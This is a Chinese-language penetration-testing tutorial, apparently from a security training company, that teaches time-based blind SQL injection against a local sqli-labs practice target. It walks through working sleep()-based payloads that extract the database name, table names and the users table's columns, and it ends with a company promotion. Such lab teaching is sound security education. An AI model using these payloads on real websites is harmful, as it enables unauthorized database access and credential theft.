渗 透 测 试
之 SQL 注 入(4)
前言
01
常用函数
if()函数:
if()函数,顾名思义,这个一个条件判断函数,所以
if()函数有三个参数,其用法为if(a,b,c)
第一个参数a:判断语句,返回结果为真假
第二个参数b:如果前面的判断返回为真,则执行b
第三个参数c:如果前面的判断返回为假,则执行c
实例:select if(1=1,1,2)和select if(1=2,1,2),如下图

sleep()函数:
通过在语句中添加一个sleep(n)函数,强制让语句停留n秒钟
实例:select 1 sleep(5),如下图

ascii()函数:
将字符传转化为ASCII码
02
渗透思路
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库表名
4.猜解字段名
5.猜解数据
03
举例
以本地的靶机为例

提示需要:请输入ID作为参数与数值

显示正常,同时查看一下网页打开时间,2点多秒,开始练习。
以下所有代码以http://localhost/sqli/Less-9/?id=1为起点
1、判断注入类型
payload |
result |
1'and sleep (5) # |
延迟 |
1 and sleep (5) # |
没有延迟 |
根据请求时间得出存在字符型注入 需要闭合标签。
2、猜解当前数据库名
2.1猜解数据库的长度
当长度为6的时候请求的返回时间。
当长度为8时,请求返回时间延时。
payload |
result |
' and if(length(database())=6,sleep(5),1) # |
没有延迟 |
' and if(length(database())=8,sleep(5),1) # |
延迟 |
该数据库的长度的为8
2.2采用二分法猜解数据库名


payload |
result |
1' and if(ascii(substr(database(),1,1))>114, 0,sleep(5)) %23 |
没有延时 |
1' and if(ascii(substr(database(),1,1))>115, 0,sleep(5)) %23 |
延时 |
数据库的第一个字符为小写s。
重复上述步骤,就能猜解出数据库名。security
3猜解数据库的表明
3.1猜解数据库中表的数量
当数据库的数量为4时,没有延迟

当数据库的数量不为4时,延迟
以上说明该数据库有4个表
3.2猜解表名
附带一下代码
' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>105, 0,sleep(5)) %23
根据以上信息得出在101-105之间,其余的就按照这个节奏构造吧。
假如我们已经把所有的表爆出来了,分别是email、referers、uagents、users
4由表名猜字段名
猜字段名
直接上代码
1’ and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))<105, sleep(5),0) #
依次类推可得表中所有字段名
id、username、password
猜解user和password的值的长度
' and if(ascii(substr((select username from users limit 0,1),1,1))>100, 0,sleep(5)) %23
接下来就慢慢去尝试。
后附一张ASCII表的链接https://tool.oschina.net/commons?type=4。
关于我们:
河北镌远网络科技有限公司(Hebei JYCYBER TechnologyCo.,Ltd.)是一家集人才、技术和经验于一体的,提供全面网络安全解决方案的专业服务商。镌远科技致力于为各行业的网络安全需求提供软件研发和通用解决方案,业务领域主要包括基础服务、咨询业务、产品研发和安全培训四大版块,各版块相互独立又相辅相成,完美阐释了“专业服务、全程服务、延伸服务”的服务体系和“单一业务与长远目标相融合”的服务理念。
关注镌远科技,关注网络安全!
河北分公司:河北镌远网络科技有限公司
地址:河北省邯郸市丛台区中华北大街193号慧谷大厦14层
总公司:北京冠程科技有限公司
地址:北京市昌平区科技园区东区产业基地企业墅上区一号楼九单元四层
实训基地:河北省石家庄市电子信息学校冠程科技研究与实训中心

欢迎扫描关注我们,及时了解更多关于网络安全相关知识
点击“阅读原文”

